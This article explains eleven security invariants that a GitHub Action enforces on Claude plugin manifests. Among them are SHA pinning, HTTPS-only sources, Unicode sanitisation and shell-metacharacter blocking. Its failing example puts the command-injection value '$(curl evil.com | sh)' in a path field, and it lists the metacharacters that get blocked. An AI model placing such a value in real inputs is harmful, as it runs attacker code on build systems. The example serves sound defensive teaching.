Claude Plugin Security Invariants: 11 Mandatory Rules for Safe Submission

Claude plugins must pass 11 strict security invariants (I1–I11) enforced by the validate-plugins GitHub Action, covering everything from alphabetical ordering and SHA verification to Unicode sanitization and shell-injection prevention.

The anthropics/claude-plugins-community repository enforces these invariants on every pull request to ensure that plugins in the marketplace are deterministic, reproducible, and free from hidden malicious payloads. Unlike generic marketplace guidelines, these rules are machine-enforced and will block any submission that fails validation.

What Are Claude Plugin Security Invariants?

Security invariants are non-negotiable constraints that every plugin manifest must satisfy. The validate-plugins tool runs as a GitHub Action in .github/workflows/validate-plugins.yml, scanning both the assembled marketplace.json and individual plugins/<name>.json files before any merge can complete.

These invariants are documented in .github/actions/validate-plugins/README.md at lines 143–153, with the actual implementation distributed across shell scripts in .github/actions/validate-plugins/lib/common.sh.

The 11 Security Invariants Explained

Structural and Ordering Invariants (I1–I2)

Invariant Requirement Security Purpose
I1 (Alphabetical Sorting) plugins[] array must be sorted alphabetically by name Prevents "dependency-drift" attacks where malicious entries hide in unsorted lists
I2 (Unique Names) No duplicate name values allowed Eliminates identifier ambiguity and plugin takeover risks

The alphabetical sorting check operates on the final marketplace.json structure. In .github/actions/validate-plugins/lib/common.sh, this is implemented as a validation pass that compares each entry's name against its predecessor.

Metadata Quality Invariants (I3, I10–I11)

I3: Description Constraints

  • Length: 10–2000 characters
  • No leading or trailing whitespace

This blocks injection of hidden whitespace that could affect downstream tooling or cause display inconsistencies.

I10: Unicode Sanitization

  • name and description must contain no hidden Unicode characters
  • Blocked: zero-width spaces, BOM markers, bidirectional override controls

These invisible payloads are a known attack vector for misleading users and bypassing simple string comparisons.

I11: Name Format

  • Regex pattern: ^[a-z0-9][a-z0-9-]{1,63}$
  • 63-character maximum, lowercase alphanumeric and hyphens only

This produces URL-safe, shell-safe identifiers without special characters that could break tooling.

Source Integrity Invariants (I4–I5, I8)

I4: URL/Repository Validation

  • Must match ^https://[A-Za-z0-9./_-]+$ or owner/repo format
  • HTTP is explicitly rejected
  • Prevents SSRF attacks and malicious redirects through URL manipulation

I5: Immutable Commits

  • Every external source must provide a 40-character lowercase hexadecimal SHA
  • The exact commit hash is verified before any code is fetched

This ensures reproducible builds: the same plugin submission always resolves to identical source code.

I8: Vendored Source Verification

  • Vendored source paths must exist and contain .claude-plugin/plugin.json
  • Confirms that bundled code actually supplies a valid plugin manifest

Injection Prevention Invariants (I6–I7, I9)

I6: Filename-Name Consistency

  • Per-file plugins at plugins/<x>.json must have .name == "x"
  • Prevents mismatched or intentionally deceptive plugin entries

I7: Marketplace File Protection

  • PRs must not edit marketplace.json directly
  • This file is auto-generated; direct edits could inject unauthorized entries

I9: Shell Metacharacter Blocking

  • All string fields under source must contain no shell metacharacters
  • Blocked characters include $, (, ), `, |, ;, &, <, >

This stops command-injection attacks when plugin data is later used in shell scripts or CI pipelines.

Valid Plugin Manifest Example

A compliant plugin.json that passes all 11 invariants:

{
  "name": "weather-lookup",
  "description": "Provides current weather conditions for any location worldwide using OpenWeatherMap data.",
  "source": {
    "url": "https://github.com/example/weather-lookup",
    "sha": "a1b2c3d4e5f6789012345678901234567890abcd",
    "path": "src"
  }
}

This passes because:

  • name matches I11's regex: lowercase, starts with letter, contains only hyphens and alphanumerics
  • description is 95 characters with no surrounding whitespace (I3)
  • url uses HTTPS with valid pattern (I4)
  • sha is exactly 40 lowercase hex characters (I5)
  • File location plugins/weather-lookup.json matches the name field (I6)

Common Violation Patterns

This manifest fails multiple invariants:

{
  "name": "Bad_Plugin",
  "description": "Short.",
  "source": {
    "url": "http://insecure.example.com/plugin",
    "sha": "abc123",
    "path": "$(curl evil.com | sh)"
  }
}

Failures detected:

  • name contains underscore and uppercase, violating I11
  • description is under 10 characters, violating I3
  • url uses HTTP scheme, violating I4
  • sha is only 6 characters, violating I5
  • path contains $( shell metacharacters, violating I9

Running Validation Locally

Test your plugin against all invariants before submitting:


# Clone the repository and navigate to the validation tool

git clone https://github.com/anthropics/claude-plugins-community.git
cd claude-plugins-community/.github/actions/validate-plugins

# Run validation against repository root

./validate.sh ../..

The script outputs specific invariant violations and exits with non-zero status for any ERROR-level failure. In .github/actions/validate-plugins/lib/common.sh, each invariant maps to a check function that returns standardized exit codes.

Key Implementation Files

Path Purpose
.github/actions/validate-plugins/README.md Full invariant documentation with rationale
.github/actions/validate-plugins/lib/common.sh Core validation logic: regex matching, SHA verification, Unicode filtering
.github/workflows/validate-plugins.yml CI workflow triggered on every PR
plugins/*/plugin.json Example compliant manifests for reference

Summary

  • 11 invariants (I1–I11) enforce structural, integrity, and injection-prevention requirements on every Claude plugin submission
  • Three categories: ordering/structure (I1–I2), metadata quality (I3, I10–I11), source integrity (I4–I5, I8), and injection prevention (I6–I7, I9)
  • Machine-enforced: the validate-plugins GitHub Action blocks merge for any ERROR-level violation
  • Reproducibility guaranteed: 40-character SHA requirements and HTTPS-only sources prevent drift and MITM attacks
  • Local validation available: run ./validate.sh from .github/actions/validate-plugins before submitting PRs

Frequently Asked Questions

What happens if my plugin fails an invariant?

The validate-plugins GitHub Action will annotate your pull request with specific invariant violations and block merge until resolved. ERROR-level invariants (most security-critical rules) cause immediate CI failure. Some invariants may be configured as warnings, but all 11 listed here are enforced as errors in the current configuration.

Can I request an exception to an invariant?

No. These invariants are designed to be non-negotiable security boundaries. Unlike style guidelines, they protect against concrete attack vectors—SSRF, command injection, reproducibility failures, and hidden Unicode payloads. Any relaxation would require modifying the validation source code in .github/actions/validate-plugins/lib/common.sh and updating the documented policy.

Why is alphabetical sorting (I1) a security invariant?

Unsorted lists create opportunities for "dependency-drift" attacks where a malicious entry hides between legitimate plugins, or where diff review becomes unreliable. Alphabetic ordering makes the marketplace.json structure deterministic and auditable—any insertion, deletion, or reordering produces an obvious, reviewable change in the file's diff.

How does the SHA requirement (I5) improve security over version tags?

Git tags are mutable: a maintainer can force-push to move a tag to different commit hashes. The 40-character SHA invariant eliminates this supply-chain risk by pinning to an exact, immutable commit. This ensures that every installation of your plugin uses byte-for-byte identical source code, regardless of any later changes to the upstream repository.

Have a question about this repo?

These articles cover the highlights, but your codebase questions are specific. Give your agent direct access to the source. Share this with your agent to get started:

Share the following with your agent to get started:
curl -s "https://instagit.com/install.md"

Works with
Claude Codex Cursor VS Code OpenClaw Any MCP Client

Maintain an open-source project? Get it listed too →